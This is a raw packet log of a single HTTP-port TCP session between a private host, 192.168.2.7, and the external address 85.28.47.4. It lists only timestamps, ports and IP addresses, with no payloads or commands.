Jul 2, 2024 12:20:58.217897892 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.217911959 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.217924118 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.217936993 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.217943907 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.217950106 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.217964888 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.217969894 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.217998981 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.218578100 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.218601942 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.218616009 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.218626976 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.218658924 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.288706064 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.288726091 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.288743019 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.288748980 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.288753986 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.288759947 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.288768053 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.288774014 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.288779974 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.288801908 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.288835049 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.288876057 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.288903952 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.288940907 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.288943052 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.288952112 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.288979053 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.288995981 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.289038897 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.289051056 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.289062977 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.289077997 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.289096117 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.289251089 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.289289951 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.289305925 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.289315939 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.289336920 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.289339066 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.289355993 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.289376020 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.289696932 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.289707899 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.289717913 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.289751053 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.289782047 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.289832115 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.289844036 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.289854050 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.289864063 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.289870024 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.289897919 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.289916992 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.289958000 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.294455051 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.294492006 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.294503927 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.294536114 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.294545889 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.294557095 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.294568062 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.294569016 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.294579029 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.294584036 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.294605970 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.294627905 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.294689894 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.294701099 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.294713020 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.294723988 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.294728994 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.294734001 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.294744968 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.294749022 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.294786930 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.294826031 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.294862986 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.294944048 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.294955015 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.294965029 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.294975042 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.294981003 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.294986010 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.295011044 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.295027971 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.295051098 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.295062065 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.295070887 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.295082092 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.295087099 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.295116901 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.295545101 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.295572996 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.295583963 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.295588017 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.295614958 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.295694113 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.295706034 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.295716047 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.295727015 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.295732975 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.295753002 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.295778036 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.295811892 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.295821905 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.295833111 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.295844078 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.295847893 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.295881033 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.302412033 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.302437067 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.302445889 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.302457094 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.302468061 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.302478075 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.302489996 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.302536964 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.302660942 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.302673101 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.302684069 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.302700043 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.302721977 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.302725077 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.302731991 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.302747011 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.302757978 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.302783966 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.317498922 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.317523003 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.317532063 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.317540884 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.317549944 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.317559004 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.317569017 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.317657948 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.317667961 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.317678928 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.317688942 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.317698956 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.317722082 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.317784071 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.317926884 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.317940950 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.317945004 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.317945004 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.317950964 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.317962885 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.317967892 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.317974091 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.317986012 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.317986012 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.317996979 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.318006039 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.318017006 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.318027973 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.318033934 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.318037987 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.318048954 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.318062067 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.318085909 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.318394899 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.318406105 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.318416119 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.318425894 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.318430901 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.318434954 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.318445921 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.318449020 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.318455935 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.318464994 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.318475008 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.318478107 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.318494081 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.318504095 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.318514109 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.318515062 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.318525076 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.318531036 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.318535089 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.318538904 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.318545103 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.318556070 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.318564892 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.318567991 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.318576097 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.318603992 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.318624973 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.379009008 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.379029989 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.379040956 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.379045963 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.379059076 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.379069090 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.379080057 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.379115105 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.379116058 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.379126072 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.379136086 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.379146099 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.379157066 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.379167080 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.379173040 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.379178047 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.379189014 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.379194021 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.379215002 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.379231930 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.379319906 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.379354954 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.379384041 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.379395008 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.379417896 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.379451036 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.379462004 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.379482031 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.379508972 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.383277893 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.383290052 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.383299112 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.383344889 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.383362055 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.383372068 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.383379936 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.383384943 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.383398056 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.383404970 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.383440018 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.383512974 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.383522987 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.383548975 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.383558989 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.383569002 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.383574009 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.383579969 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.383594990 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.383609056 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.383677959 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.383688927 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.383713961 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.383740902 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.383955956 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.383966923 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.383977890 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.384002924 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.384011984 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.384027004 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.384053946 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.384233952 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.384243965 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.384253979 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.384270906 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.384287119 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.384294033 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.384298086 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.384308100 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.384326935 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.384350061 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.384507895 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.384519100 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.384531975 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.384546995 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.384548903 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.384577036 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.384599924 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.384619951 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.384629965 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.384639978 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.384650946 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.384655952 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.384684086 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.384803057 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.384814024 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.384824038 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.384834051 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.384865999 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.391252995 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.391319990 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.391329050 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.391335964 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.391362906 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.391366959 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.391402006 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.391429901 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.391439915 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.391464949 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.391484976 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.391549110 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.391558886 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.391585112 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.391592026 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.391624928 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.391644955 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.391654968 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.391674042 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.391693115 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.391719103 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.391730070 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.391750097 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.391766071 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.391823053 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.391855001 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.391994953 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.392004967 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.392015934 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.392040968 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.392065048 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.392124891 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.392136097 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.392146111 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.392155886 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.392157078 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.392175913 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.392204046 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.392555952 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.392566919 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.392576933 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.392587900 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.392597914 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.392606020 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.392607927 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.392621040 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.392632961 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.392652035 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.392680883 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.392690897 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.392702103 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.392714977 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.392739058 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.393047094 CEST	80	49699	85.28.47.4	192.168.2.7
